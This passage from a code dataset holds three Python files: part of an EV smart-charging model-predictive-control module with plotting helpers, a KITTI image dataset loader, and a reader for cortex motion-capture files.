round(bmin_i[1]))\n print(\"u = \", u[k], u_forecast[0])\n print(\"b0 = \", b0, \"b1 = \", value(b[1]))\n print(\"x = \", value(x[0]), \"Trying \", bmin[k+1],\"<=\", r*value(x[0])+b0-u[k], \" <= \", bmax)\n print(\"Infeasible at k = \" + str(k) + \" with i = \" + str(i) + \" and j = \" + str(j))\n print(\"\\n\\n\\n\")\n x0 = value(x[0])\n b1 = value(b[1])\n elif z_i[0] == 0: # Not plugged in\n x0 = 0\n b1 = b0 + x0*r - u_t_true\n\n # Implement/store only the first step, and re-run in next hour\n X[k]=x0; # Amount charged in the now-hour\n B[k+1]=b1; # Battery level after the now-hour / beggining of next hour\n costs += x0 * c[k]; # Cost of charging in the now-hour\n #print(c[k+0], dft.iloc[i,j+3+0], c_forecast[0+0], dfp.iloc[i,j+3+0], j, l)\n b0 = b1 # Next SOC start is the current SOC\n k += 1\n \n # THE END\n if k == L:\n # Costs\n total_cost = np.sum(costs) - c_tilde * (B[-1] - B[0])\n \n # Any non-feasibilities\n if any(B<0) or any(B > 1.25*bmax):\n flag_AllFeasible = False\n\n # Tie results intro prob\n prob = {'x':X, 'b':B, 'u':u[0:L], 'c':c[0:L], 'z':z[0:L], 'objective':total_cost}\n return(prob, X, B, flag_AllFeasible)\n\n# Maitained here\ndef ExtractEVdataForMPC(dfv, z_var, u_var, uhat_var, bmin_var, p, data=''):\n # Read the dfp and dft and dfspot --- This section can be moved out of the function to save a slgiht bit of time\n dfp = pd.read_csv(f'data/MPC-ready/df_{data[:5]}predprices_for_mpc.csv', sep=',', header=0, parse_dates=True)\n dft = pd.read_csv(f'data/MPC-ready/df_{data[:5]}trueprices_for_mpc.csv', sep=',', header=0, parse_dates=True)\n dfspot = pd.read_csv(f'data/spotprice/df_{data[:5]}spot_commontime.csv', sep=',', header=0, parse_dates=True)\n\n dft['Atime'] = pd.to_datetime(dft['Atime'], format='%Y-%m-%d %H:%M:%S')\n dfp['Atime'] = pd.to_datetime(dfp['Atime'], format='%Y-%m-%d %H:%M:%S')\n dfspot['Time'] = pd.to_datetime(dfspot['Time'], format='%Y-%m-%d %H:%M:%S')\n\n # Convert timezone from UTC to Europe/Copenhagen\n dfspot['Time'] = dfspot['Time'].dt.tz_localize('UTC').dt.tz_convert('Europe/Copenhagen')\n dfp['Atime'] = dfp['Atime'].dt.tz_localize('UTC').dt.tz_convert('Europe/Copenhagen')\n dft['Atime'] = dft['Atime'].dt.tz_localize('UTC').dt.tz_convert('Europe/Copenhagen')\n\n ####################### Load each element in the list into a dataframe ############################\n starttime = max(dfspot['Time'][0], dfp['Atime'][0], dfv.index[0])\n endtime = min(dfspot['Time'].iloc[-1], dfp['Atime'].iloc[-1], dfv.index[-1])\n\n # Cut dfs to be withing starttime and endtime\n dfspot = dfspot[(dfspot['Time'] >= starttime) & (dfspot['Time'] <= endtime)].reset_index(drop=True)\n #dfp = dfp[(dfp['Atime'] >= starttime) & (dfp['Atime'] <= endtime)].reset_index(drop=True) # The forecast history is the bottleneck\n #dft = dft[(dft['Atime'] >= starttime) & (dft['Atime'] <= endtime)].reset_index(drop=True)\n dfv = dfv[(dfv.index >= starttime) & (dfv.index <= endtime)]\n timestamps = dfv.index\n firsthour = dfv.index[0].hour\n dfp = dfp[(dfp['Atime'] >= timestamps[0]) & (dfp['Atime'] <= timestamps[-1])].reset_index(drop=True) # The forecast history is the bottleneck\n dft = dft[(dft['Atime'] >= timestamps[0]) & (dft['Atime'] <= timestamps[-1])].reset_index(drop=True)\n dfv = dfv.reset_index(drop=False)\n\n ## Print occurences of number of hours between forecasts\n #dfp.Atime_diff.value_counts() # Up to 66 hours between forecasts\n\n ############################################ EXTRACT EV USAGE DATA ####################################################\n # Use\n vehicle_id = dfv['vehicle_id'].unique()[0]\n z = ((dfv[z_var] == 1)*1).to_numpy()\n u = dfv[u_var].to_numpy()\n uhat = dfv[uhat_var].to_numpy()\n uhat = np.append(0, uhat) # For first iter, uhat = 0 => uhat[k] = RollingMean(use)_{i = k-(10*24)...k-1}\n b0 = dfv['SOC'][0]\n r = dfv['efficiency_median'].unique()[0]\n #print(np.sum(u), \"==\", np.sum(dfv['use']))\n # Input\n bmin = dfv[bmin_var].to_numpy()\n # Vehicle parameters\n #bmax = dfv['SOCmax'].median()\n bmax = 0.8*dfv['BatteryCapacity'].median()\n #bmax = np.nanmin([dfv['SOCmax'], dfv['BatteryCapacity']], axis=0)\n xmax = dfv['CableCapacity'].unique()[0]\n c_tilde = np.quantile(dfspot['TruePrice'], p) #min(c[-0:24]) # Value of remaining electricity: lowest el price the past 24h\n\n return dfv, dfspot, dfp, dft, timestamps, z, u, uhat, b0, r, bmin, bmax, xmax, c_tilde, vehicle_id, firsthour, starttime, endtime\n\n# Maintained in dataviz_cardata2.py\ndef PlotChargingProfile(D2=None, dfvehicle=None, var=\"VEHICLE_ID\", id=13267, plot_efficiency_and_SOCmin=True, vertical_hover=False, df_only=False, layout=None, imgtitle=\"PlainProfile_id\"):\n \"\"\"\n Plot the charging profile of a single vehicle\n If df_only is True, then only the dataframe is returned\n If df_vehicle is not None, then only plotting is done\n \"\"\"\n\n if dfvehicle is None:\n D2v = D2[D2[var] == id]\n D2v = D2v.sort_values(by=['CABLE_PLUGGED_IN_AT'])\n id = int(id)\n\n firsttime = D2v['CABLE_PLUGGED_IN_AT'].min().date() - datetime.timedelta(days=1)\n lasttime = max( D2v['PLANNED_PICKUP_AT'].max().date(), D2v['RELEASED_AT'].max().date()) + datetime.timedelta(days=1)\n\n assert len(D2v.capacity_kwh.unique()) == 1, \"Battery capacity changes for vehicle \" + str(id)\n assert len(D2v.max_kw_ac.unique()) == 1, \"Cable capacity changes for vehicle \" + str(id)\n\n # Create a list of times from firsttime to lasttime\n times = pd.date_range(firsttime, lasttime, freq='1h')\n # Create a list of zeros\n zeros = np.zeros(len(times))\n nans = np.full(len(times), np.nan)\n # Create a dataframe with these times and zeros\n df = pd.DataFrame({'time': times, 'z_plan': zeros, 'z_act': zeros, 'charge': zeros, 'price': nans, 'SOC': nans, 'SOCmin': nans, 'SOCmax': nans, 'BatteryCapacity': nans, 'CableCapacity': nans, 'efficiency': nans})\n df['time'] = df['time'].dt.tz_localize('UTC').dt.tz_convert('Europe/Copenhagen')\n df.z_plan, df.z_act = -1, -1\n # Set the index to be the time\n df = df.set_index('time')\n \n # Vehicle specifics\n df['BatteryCapacity'] = D2v.iloc[-1]['capacity_kwh']\n df['CableCapacity'] = D2v.iloc[-1]['max_kw_ac']\n\n # Loop over all plug-ins and plug-outs # ADD KWH AND SOC RELATIVE TO TIMES\n for i in range(len(D2v)):\n # Set z=1 for all times from plug-in to plug-out\n df.loc[D2v.iloc[i]['CABLE_PLUGGED_IN_AT']:D2v.iloc[i]['PLANNED_PICKUP_AT'], 'z_plan'] = 1 #i=2, ser ud til at være fucked, når CABLE_PLUGGED_IN_AT IKKE er heltal.\n df.loc[D2v.iloc[i]['CABLE_PLUGGED_IN_AT']:D2v.iloc[i]['RELEASED_AT'], 'z_act'] = 1\n\n # Allow semi-discrete plug-in relative to proportion of the hour\n #df.loc[D2v.iloc[i]['CABLE_PLUGGED_IN_AT'], 'z_plan'] = 1\n\n # Extract charge from 'KWHS' and add to df where time is the same\n xt = pd.DataFrame(eval(D2v.iloc[i]['KWHS']))\n if D2v.iloc[i]['KWH'] != round(xt.sum()[1],4):\n print(\"KWH total and sum(kWh_t) does not match for D2v row i=\", i)\n xt['time'] = pd.to_datetime(xt['time'])\n xt['time'] = xt['time'].dt.tz_localize('UTC').dt.tz_convert('Europe/Copenhagen')\n xt = xt.set_index('time')\n df.loc[xt.index, 'charge'] = xt['value']\n\n # Efficiency of charging (ratio of what has been charged to what goes into the battery)\n #if D2v.iloc[i]['KWH'] >= 1: # Only proper charging\n if D2v.iloc[i]['KWH'] > 0:\n df.loc[D2v.iloc[i]['CABLE_PLUGGED_IN_AT']:D2v.iloc[i]['RELEASED_AT'], 'efficiency'] = ((D2v.iloc[i].SOC - D2v.iloc[i].SOC_START) / 100 * D2v.iloc[i]['capacity_kwh']) / D2v.iloc[i].KWH\n\n # Add the right spot prices to df\n if type(D2v.iloc[i]['SPOT_PRICES']) == str and len(eval(D2v.iloc[i]['SPOT_PRICES'])) != 0:\n prices = pd.DataFrame(eval(D2v.iloc[i]['SPOT_PRICES']))\n prices['time'] = pd.to_datetime(prices['time'])\n prices['time'] = prices['time'].dt.tz_localize('UTC').dt.tz_convert('Europe/Copenhagen')\n prices = prices.set_index('time')\n df.loc[prices.index, 'price'] = prices['value']\n \n # Add SOC and convert to kWhs\n df.loc[D2v.iloc[i]['CABLE_PLUGGED_IN_AT'].ceil('H', ambiguous=bool), 'SOC'] = D2v.iloc[i]['SOC_START']/100 * D2v.iloc[i]['capacity_kwh']\n df.loc[D2v.iloc[i]['PLANNED_PICKUP_AT'].floor('H'), 'SOC'] = D2v.iloc[i]['SOC']/100 * D2v.iloc[i]['capacity_kwh']\n\n # Add SOCmax\n df.loc[D2v.iloc[i]['CABLE_PLUGGED_IN_AT']:D2v.iloc[i]['PLANNED_PICKUP_AT'], 'SOCmax'] = D2v.iloc[i]['SOC_LIMIT']/100 * D2v.iloc[i]['capacity_kwh']\n\n # bmin (PURELY INPUT ASSUMPTION)\n min_charged = 0.40 # 40% of battery capacity\n min_alltime = 0.05 # Never go below 5%\n df.loc[D2v.iloc[i]['PLANNED_PICKUP_AT'].floor('H'), 'SOCmin'] = min_charged * df['BatteryCapacity'][i] # Min SOC\n df['SOCmin'] = df['SOCmin'].fillna(min_alltime * df['BatteryCapacity'][i])\n\n\n # If z_plan_everynight and corresponding bmin\n # z_plan_everynight:\n df['z_plan_everynight'] = -1 # df['z_plan_everynight'] = df['z_plan']\n df.loc[(df.index.hour >= 22) | (df.index.hour < 6), 'z_plan_everynight'] = 1\n\n # bmin_everymorning:\n df['SOCmin_everymorning'] = min_alltime * df['BatteryCapacity'] #df['SOCmin_everymorning'] = df['SOCmin']\n df.loc[(df.index.hour == 6), 'SOCmin_everymorning'] = min_charged * df['BatteryCapacity']\n\n # Costs\n df['costs'] = df['price'] * df['charge']\n df = df.merge(df_spot, how='left', left_on='time', right_on='time')\n \n # in df['SOC] replace nan with most recent value\n df['SOC_lin'] = df['SOC'].interpolate(method='linear')\n df['SOC'] = df['SOC'].fillna(method='ffill')\n\n # Use\n u = df.SOC.diff().dropna()\n u[u>0] = 0\n u = u.abs()\n df['use'] = u\n\n # Use linearly interpolated SOC\n u_lin = df.SOC_lin.diff().dropna()\n u_lin[u_lin>0] = 0\n u_lin = u_lin.abs()\n df['use_lin'] = u_lin\n # Daily average use\n df['use_dailyaverage'] = df[df['use_lin'] != 0]['use_lin'].mean()\n\n # Calculate 7-day rolling mean of use_lin\n roll_length = 7 # If changed, also change in legend\n df['use_rolling'] = df[df['use_lin'] != 0]['use_lin'].rolling(roll_length*24, min_periods=24).mean()\n df['use_rolling'] = df['use_rolling'].fillna(0)\n # Issues: When subsetting on NOT plugged_in, the roll length of 7*24 steps becomes more than 7 days\n # Issues: Initial 7 days\n\n # Calculate 14-day rolling mean of use (use to estimate use_lin. Without cheating)\n roll_length = 10\n df['use_org_rolling'] = df['use'].rolling(roll_length*24, min_periods=12).mean() # min periods shouldn't be too large or too small\n df['use_org_rolling'] = df['use_org_rolling'].fillna(0) # Estimate u_hat 12 hours with 0\n\n # Exponential moving average\n hlf_life = 2 # days\n df['use_ewm'] = df[df['use_lin'] != 0]['use_lin'].ewm(span=roll_length*24, min_periods=24).mean()\n df['use_ewm'] = df['use_ewm'].fillna(0)\n\n # Median prediction of efficiency\n df['efficiency_median'] = np.median(df['efficiency'].dropna().unique())\n\n # Add vehicle id\n df['vehicle_id'] = id\n\n # Assure non-Nan at crucial places\n if any(df['use'].isna()):\n df = df[~df['use_lin'].isna()]\n print('Rows with NaNs in Use were deleted.')\n\n else:\n df = dfvehicle\n firsttime = df.index[0]\n lasttime = df.index[-1]\n\n #################### START THE PLOTTING ###########################################\n fig = go.Figure([go.Scatter(\n x=df.index,\n y=df['z_act'],\n mode='lines',\n name = \"Plugged-in (actual)\",\n line=dict(\n color='black',\n dash='dot',\n ))])\n\n # Plot the result\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['z_plan'],\n mode='lines',\n name='Plugged-in (planned)',\n line=dict(\n color='black',\n )))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['z_plan_everynight'],\n mode='lines',\n name='Plugged-in (assumption)',\n line=dict(\n color='black',\n )))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['charge'],\n mode='lines',\n name='Charge',\n marker=dict(\n size=10,\n opacity=0.8\n ),\n line=dict(\n color='green',\n width=2\n )\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['use'],\n mode='lines',\n name='Use',\n line=dict(\n color='red',\n width=2\n )\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['use_lin'],\n mode='lines',\n name='Use (interpolated)',\n line=dict(\n color='red',\n width=2,\n dash='dot'\n )\n ))\n\n # fig.add_trace(go.Scatter(\n # x=df.index,\n # y=df['use_rolling'],\n # mode='lines',\n # name='Use ('+str(7)+' day rolling mean) [kWh]',\n # line=dict(\n # color='red',\n # width=2,\n # dash='dot'\n # )\n # ))\n\n # fig.add_trace(go.Scatter(\n # x=df.index,\n # y=df['use_ewm'],\n # mode='lines',\n # name='Use (Exponentially Weighted Moving Average with half life = '+str(2)+') [kWh]',\n # line=dict(\n # color='red',\n # width=2,\n # dash='dash'\n # )\n # ))\n\n # fig.add_trace(go.Scatter(\n # x=df.index,\n # y=df['use_dailyaverage'],\n # mode='lines',\n # name='Use daily average (outside of plug-in) [kWh]',\n # line=dict(\n # color='red',\n # width=0.5,\n # dash='dash'\n # )\n # ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['price'],\n mode='lines',\n name='Price',\n line=dict(\n color='purple',\n width=1\n )\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['SOC'],\n mode='lines',\n name = \"SOC\",\n line=dict(\n color='lightblue',\n width=2\n )\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['trueprice'],\n mode='lines',\n name='Price',\n line=dict(\n color='purple',\n width=1\n )\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['SOCmax'],\n mode='lines',\n name = \"SOC max [kWh]\",\n line=dict(width=2, color='grey') #color='DarkSlateGrey')\n # Add index value to hovertext\n # hovertext = df.index\n ))\n\n if plot_efficiency_and_SOCmin:\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['efficiency']*100,\n mode='lines',\n name = \"Efficiency [%]\",\n line=dict(width=2, color='DarkSlateGrey')\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['efficiency_median']*100,\n mode='lines',\n name = \"Efficiency median [%]\",\n line=dict(width=2, color='DarkSlateGrey', dash='dot')\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['SOC_lin'],\n mode='lines',\n name = \"SOC (linear interpolation)\",\n line=dict(\n color='lightblue',\n width=2,\n dash='dot'\n )\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['SOCmin_everymorning'],\n mode='lines',\n name = \"Minimum SOC\",\n line=dict(\n color='lightblue',\n width=2 , dash='dash'\n )\n ))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['BatteryCapacity'],\n mode='lines',\n name = \"Battery Capacity [kWh]\",\n line=dict(\n color='darkgrey',\n dash='dash'\n )))\n\n fig.add_trace(go.Scatter(\n x=df.index,\n y=df['use_org_rolling'],\n mode='lines',\n name = \"Rolling Use (10 days)\",\n line=dict(\n color='red',\n width=1,\n dash='dash'\n )\n ))\n\n if vertical_hover:\n # Add vertical hover lines\n fig.update_layout(\n hovermode='x unified',\n hoverdistance=100, # Distance to show hover label of data point\n spikedistance=1000, # Distance to show spike\n hoverlabel=dict(\n bgcolor=\"white\",\n font_size=16,\n font_family=\"Rockwell\"\n )\n )\n \n # Set xticks to be individual days\n fig.update_xaxes(\n tickmode = 'array',\n tickvals = [firsttime + datetime.timedelta(days=i) for i in range((lasttime-firsttime).days+1)],\n ticktext = [str(firsttime + datetime.timedelta(days=i))[:10] for i in range((lasttime-firsttime).days+1)],\n tickangle = 45\n )\n # Add legend\n fig.update_layout(\n title_text=\"Charging by \" +str(var) + \"=\"+ str(id) + \" from \"+str(firsttime)+\" to \"+str(lasttime), # title of plot\n xaxis_title_text=\"Date\", # xaxis label\n yaxis_title_text=\"kWh or True-False [1, -1]\", # yaxis label\n #font=dict(\n # size=18,\n # color=\"RebeccaPurple\"\n #)\n )\n\n if layout is not None:\n # Export html\n fig.write_html(pathhtml + imgtitle + str(id) + \".html\")\n fig.update_layout(layout)\n # For the x-ticks, only show every 7th day\n fig.update_xaxes(\n tickmode = 'array',\n tickvals = [firsttime + datetime.timedelta(days=i) for i in range((lasttime-firsttime).days+1) if i%7==0],\n ticktext = [str(firsttime + datetime.timedelta(days=i))[:10] for i in range((lasttime-firsttime).days+1) if i%7==0],\n tickangle = 45\n )\n # Remove x-ticks and xaxis title text (TEMPORARY)\n # fig.update_xaxes(\n # showticklabels=False,\n # title_text=\"\"\n # )\n\n # Subset data to 2022-09-20 to 2022-09-30\n # fig.update_xaxes(\n # range=['2022-09-20', '2022-09-30']\n # )\n # fig.update_yaxes(\n # range=[-1, 10]\n # )\n\n # Decrease linewidth of all lines\n for i in range(len(fig.data)):\n fig.data[i].line.width = 1.5\n # Export pdf\n fig.write_image(path + imgtitle + str(id) + \".pdf\")\n \n if not df_only:\n fig.show()\n return df\n\ndef MontasSmartCharge(dfv, u, z, L, b0, r, c_tilde):\n # define c as the minimum between price and trueprice ignoring nan to allow benefit of the DK1/DK2 doubt in favor of Montas algorithm\n c = dfv[['price', 'trueprice']].min(axis=1, skipna=True)\n x = dfv['charge']\n u = u\n z = z\n # b_t+1 = b0 + r*x - u\n b = np.zeros(len(dfv)+1)\n b[0] = b0\n for i in range(len(dfv)):\n b[i+1] = b[i] + r*x[i] - u[i]\n total_cost = np.sum(x * c) - c_tilde * (b[-1] - b0)\n prob = {'x':x[:L], 'b':b[:(L+1)], 'u':u[:L], 'c':c[:L], 'z':z[:L], 'objective':total_cost}\n return(prob, x, b)","repo_name":"davidripsen/code_Smart_Charging","sub_path":"MPC/FunctionCollection.py","file_name":"FunctionCollection.py","file_ext":"py","file_size_in_byte":42318,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
+{"seq_id":"5028507604","text":"from __future__ import absolute_import\nfrom __future__ import division\nimport torch as t\nfrom skimage import transform as sktsf\nfrom torchvision import transforms as tvtsf\nfrom data import util\nimport numpy as np\nfrom utils.config import opt\nfrom math import pi\nfrom data.kitti_img_dataset import ImageKITTIDataset\n\ndef inverse_normalize(img):\n # approximate un-normalize for visualize\n return (img * 0.225 + 0.45).clip(min=0, max=1) * 255\n\n\ndef pytorch_normalze(img):\n \"\"\"\n https://github.com/pytorch/vision/issues/223\n return appr -1~1 RGB\n \"\"\"\n normalize = tvtsf.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n img = normalize(t.from_numpy(img))\n return img.numpy()\n\ndef preprocess(img, min_size=375, max_size=1242):\n \"\"\"Preprocess an image for feature extraction.\n The length of the shorter edge is scaled to :obj:`self.min_size`.\n After the scaling, if the length of the longer edge is longer than\n :param min_size:\n :obj:`self.max_size`, the image is scaled to fit the longer edge\n to :obj:`self.max_size`.\n After resizing the image, the image is subtracted by a mean image value\n :obj:`self.mean`.\n Args:\n img (~numpy.ndarray): An image. This is in CHW and RGB format.\n The range of its value is :math:`[0, 255]`.\n Returns:\n ~numpy.ndarray: A preprocessed image.\n \"\"\"\n C, H, W = img.shape\n scale1 = min_size / min(H, W)\n scale2 = max_size / max(H, W)\n scale = min(scale1, scale2)\n img = img / 255.\n img = sktsf.resize(img, (C, H * scale, W * scale), mode='reflect',anti_aliasing=False)\n # both the longer and shorter should be less than\n # max_size and min_size\n normalize = pytorch_normalze\n return normalize(img)\n\n\nclass Transform(object):\n\n def __init__(self, min_size=375, max_size=1242):\n self.min_size = min_size\n self.max_size = max_size\n\n def __call__(self, in_data):\n img, bbox, label, depth, y_rot = in_data\n _, H, W = img.shape\n img = preprocess(img, self.min_size, self.max_size)\n _, o_H, o_W = img.shape\n scale = o_H / H\n bbox = util.resize_bbox(bbox, (H, W), (o_H, o_W))\n\n # horizontally flip\n img, params = util.random_flip(\n img, x_random=True, return_param=True)\n bbox = util.flip_bbox(\n bbox, (o_H, o_W), x_flip=params['x_flip'])\n if params['x_flip']:\n for i in range(len(y_rot)):\n theta = float(y_rot[i])\n if theta > 0:\n y_rot[i] = pi - theta\n if theta < 0:\n y_rot[i] = -pi - theta\n y_rot[i]\n if theta == 0:\n y_rot[i] = 3.14\n\n return img, bbox, label, depth, y_rot, scale\n\n\n\n'''\n The bounding boxes are packed into a two dimensional tensor of shape\n :math:`(R, 4)`, where :math:`R` is the number of bounding boxes in\n the image. The second axis represents attributes of the bounding box.\n They are :math:`(y_{min}, x_{min}, y_{max}, x_{max})`, where the\n four attributes are coordinates of the top left and the bottom right\n vertices.\n \n The labels are packed into a one dimensional tensor of shape :math:`(R,)`.\n :math:`R` is the number of bounding boxes in the image.\n The class name of the label :math:`l` is :math:`l` th element of\n :obj:`VOC_BBOX_LABEL_NAMES`.\n\n The array :obj:`difficult` is a one dimensional boolean array of shape\n :math:`(R,)`. :math:`R` is the number of bounding boxes in the image.\n If :obj:`use_difficult` is :obj:`False`, this array is\n a boolean array with all :obj:`False`.\n \n The type of the image, the bounding boxes and the labels are as follows.\n * :obj:`img.dtype == numpy.float32`\n * :obj:`bbox.dtype == numpy.float32`\n * :obj:`label.dtype == numpy.int32`\n * :obj:`difficult.dtype == numpy.bool`\n\n'''\n\n\nclass Dataset:\n def __init__(self, opt):\n self.opt = opt\n self.db = ImageKITTIDataset(opt.train_data_dir)\n self.tsf = Transform(opt.min_size, opt.max_size)\n\n def __getitem__(self, idx):\n ori_img, bbox, label, difficult, depth, y_rot = self.db.get_example(idx)\n '''\n If :obj:`return_difficult == True`, this dataset returns corresponding\n :obj:`img, bbox, label, difficult`. :obj:`difficult` is a boolean array\n that indicates whether bounding boxes are labeled as difficult or not.\n '''\n img, bbox, label, depth, y_rot, scale = self.tsf((ori_img, bbox, label, depth, y_rot))\n # TODO: check whose stride is negative to fix this instead copy all\n # some of the strides of a given numpy array are negative.\n return img.copy(), bbox.copy(), label.copy(), depth.copy(), y_rot.copy(), scale\n\n def __len__(self):\n return len(self.db)\n \n\nclass TestDataset:\n def __init__(self, opt):\n self.opt = opt\n self.db = ImageKITTIDataset(opt.test_data_dir)\n\n def __getitem__(self, idx):\n ori_img, bbox, label, difficult, depth, y_rot = self.db.get_example(idx)\n img = preprocess(ori_img)\n return img, ori_img.shape[1:], bbox, label, difficult\n\n def __len__(self):\n return len(self.db)\n","repo_name":"YupengHan/FusionNet","sub_path":"data/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":5291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"41587154231","text":"\"\"\"Methods for opening cortex files\n\n\"\"\"\n\nimport logging\nfrom pathlib import Path\nfrom pprint import pprint\nimport re\n\nimport pandas as pd\n\nLOG = logging.getLogger(__name__)\n\n\ndef open(path: Path):\n \"\"\"Open a cortex motion capture file\n\n Restructures columns to use a single index\n\n Returns:\n A pandas dataframe index by timedelta with columns\n\n .. code-block:: python\n\n Frame#,\n FHEAD.X, FHEAD.Y, FHEAD.Z,\n RHEAD.X, RHEAD.Y, RHEAD.Z,\n THEAD.X, THEAD.Y, THEAD.Z,\n LHEAD.X, LHEAD.Y, LHEAD.Z,\n C7.X, C7.Y, C7.Z,\n BBAC.X, BBAC.Y, BBAC.Z, \n Offset_Nav.X, Offset_Nav.Y,Offset_Nav.Z,\n XYPH.X, XYPH.Y, XYPH.Z,\n STRN.X, STRN.Y, STRN.Z,\n LSHO.X, LSHO.Y, LSHO.Z,\n RSHO.X, RSHO.Y, RSHO.Z,\n LASIS.X, LASIS.Y, LASIS.Z,\n LPSIS.X, LPSIS.Y, LPSIS.Z,\n RASIS.X, RASIS.Y, RASIS.Z,\n RPSIS.X, RPSIS.Y, RPSIS.Z,\n SACRUM.X, SACRUM.Y, SACRUM.Z,\n RLM.X, RLM.Y, RLM.Z,\n RHEE.X, RHEE.Y, RHEE.Z,\n RTOE.X, RTOE.Y, RTOE.Z,\n RMT5.X, RMT5.Y, RMT5.Z,\n LHEE.X, LHEE.Y, LHEE.Z,\n LTOE.X, LTOE.Y, LTOE.Z,\n LMT5.X, LMT5.Y, LMT5.Z,\n V_RShoulder.X, V_RShoulder.Y, V_RShoulder.Z,\n V_LShoulder.X, V_LShoulder.Y, V_LShoulder.Z,\n V_Neck.X, V_Neck.Y, V_Neck.Z,\n V_LShoulder_Dyn.X, V_LShoulder_Dyn.Y, V_LShoulder_Dyn.Z,\n V_RShoulder_Dyn.X, V_RShoulder_Dyn.Y, V_RShoulder_Dyn.Z,\n V_Mid_ASIS_Dyn.X, V_Mid_ASIS_Dyn.Y, V_Mid_ASIS_Dyn.Z,\n V_Head.X, V_Head.Y, V_Head.Z,\n V_Mid_PSIS.X, V_Mid_PSIS.Y, V_Mid_PSIS.Z,\n V_RFoot.X, V_RFoot.Y, V_RFoot.Z,\n V_LFoot.X, V_LFoot.Y, V_LFoot.Z,\n V_RAnkle_Dyn.X, V_RAnkle_Dyn.Y, V_RAnkle_Dyn.Z,\n V_Neck2.X, V_Neck2.Y, V_Neck2.Z,\n V_Pelvis.X, V_Pelvis.Y, V_Pelvis.Z,\n V_Sacrum.X, V_Sacrum.Y, V_Sacrum.Z\n\n Note: \n may recieve warnings due to extra data existing to the right of the recorded data, safe to ignore\n\n \"\"\"\n LOG.info(\"reading cortex trc file: %s\", str(path))\n\n # first read only the column names\n try:\n cols = pd.read_csv(\n path, sep=\"\\t\", header=[3, 4], nrows=0, error_bad_lines=False\n )\n except (pd.errors.ParserError):\n cols = pd.read_csv(\n path,\n sep=\"\\t\",\n header=[3, 4],\n nrows=0,\n engine=\"python\",\n error_bad_lines=False,\n )\n\n # LOG.debug(\"%s\", cols.to_string())\n\n # edit column names to make column names into single level index similar to dflow data\n # I am droping the number value associated with each marker (We need only X, Y, Z)\n new_cols = []\n a_col_name = \"\"\n for col in cols:\n if \"Unnamed\" in col[0]:\n if \"Unnamed\" not in col[1]:\n new_cols.append(a_col_name + \".\" + col[1][0])\n else:\n pass\n else:\n if \"Unnamed\" in col[1]:\n new_cols.append((col[0]))\n else:\n new_cols.append((col[0] + \".\" + col[1][0]))\n a_col_name = col[0]\n\n # LOG.debug(\"\\n%s\\ntotal=%d\", '\\n'.join(f\"\\t{s}\" for s in new_cols), len(new_cols))\n\n # read the data but use my edited column names\n try:\n _df = pd.read_csv(\n path,\n sep=\"\\t\",\n names=new_cols,\n usecols=new_cols,\n header=None,\n skiprows=[0, 1, 2, 3, 4, 5],\n index_col=False,\n skip_blank_lines=False,\n error_bad_lines=False,\n )\n except (pd.errors.ParserError):\n _df = pd.read_csv(\n path,\n sep=\"\\t\",\n names=new_cols,\n usecols=new_cols,\n header=None,\n skiprows=[0, 1, 2, 3, 4, 5],\n index_col=False,\n skip_blank_lines=False,\n error_bad_lines=False,\n engine=\"python\",\n )\n\n # convert to a timedelta index\n _df[\"Time\"] = pd.to_timedelta(_df[\"Time\"], unit=\"s\")\n _df.set_index(\"Time\", inplace=True)\n\n if LOG.isEnabledFor(logging.DEBUG):\n LOG.debug(\n \"file as read into memory:\\n%s\", _df.to_string(max_rows=20, line_width=200)\n )\n # LOG.debug(\"last modified: %s\", time.ctime(os.path.getctime(path)))\n\n # LOG.debug('pandas DataFrame.info(): \\n%s', _df.info(verbose=True))\n\n return _df\n\n\ndef probe_elapsed_time(path: Path):\n \"\"\"get elapsed time from cortex file\n\n Args:\n path: pathobject to cortex file\n \n Returns:\n elapsed time as a timedelta\n\n \"\"\"\n LOG.info(\"probing duration for: %s\", str(path))\n\n try:\n df = pd.read_csv(\n path,\n sep=\"\\t\",\n header=None,\n names=[\"Frame#\", \"Time\"],\n usecols=[\"Frame#\", \"Time\"],\n skiprows=[0, 1, 2, 3, 4, 5],\n skip_blank_lines=False,\n error_bad_lines=False,\n )\n except (pd.errors.ParserError):\n df = pd.read_csv(\n path,\n sep=\"\\t\",\n header=None,\n names=[\"Frame#\", \"Time\"],\n usecols=[\"Frame#\", \"Time\"],\n engine=\"python\",\n skiprows=[0, 1, 2, 3, 4, 5],\n skip_blank_lines=False,\n error_bad_lines=False,\n )\n\n if df[\"Time\"].size > 1:\n return pd.Timedelta(df[\"Time\"].iloc[-1] - df[\"Time\"].iloc[0], unit=\"s\")\n else:\n LOG.error(\"unable to parse elapsed time\")\n return pd.NaT\n\n\ndef get_task_name(path: Path):\n \"\"\"return task according to file name\"\"\"\n\n # return none if regex fails\n task_name = None\n\n match = re.search(r\".*?_([a-z]+)\\.?(\\d{1,2}).*?\", path.name.lower())\n if match:\n task_name = \"_\".join(match.groups())\n\n return task_name\n\n\ndef multiindex(df):\n \"\"\" \n transform cortex mocap data to use multi-indexed columns\n\n Returns:\n\n \"\"\"\n\n # grab columns\n mocap = df.loc[:, df.columns.str.contains(r\"\\.[x,y,z]{1}\", case=False)]\n\n # multi-index\n mocap.columns = pd.MultiIndex.from_tuples(\n c.lower().split(\".\") for c in mocap.columns\n )\n\n return 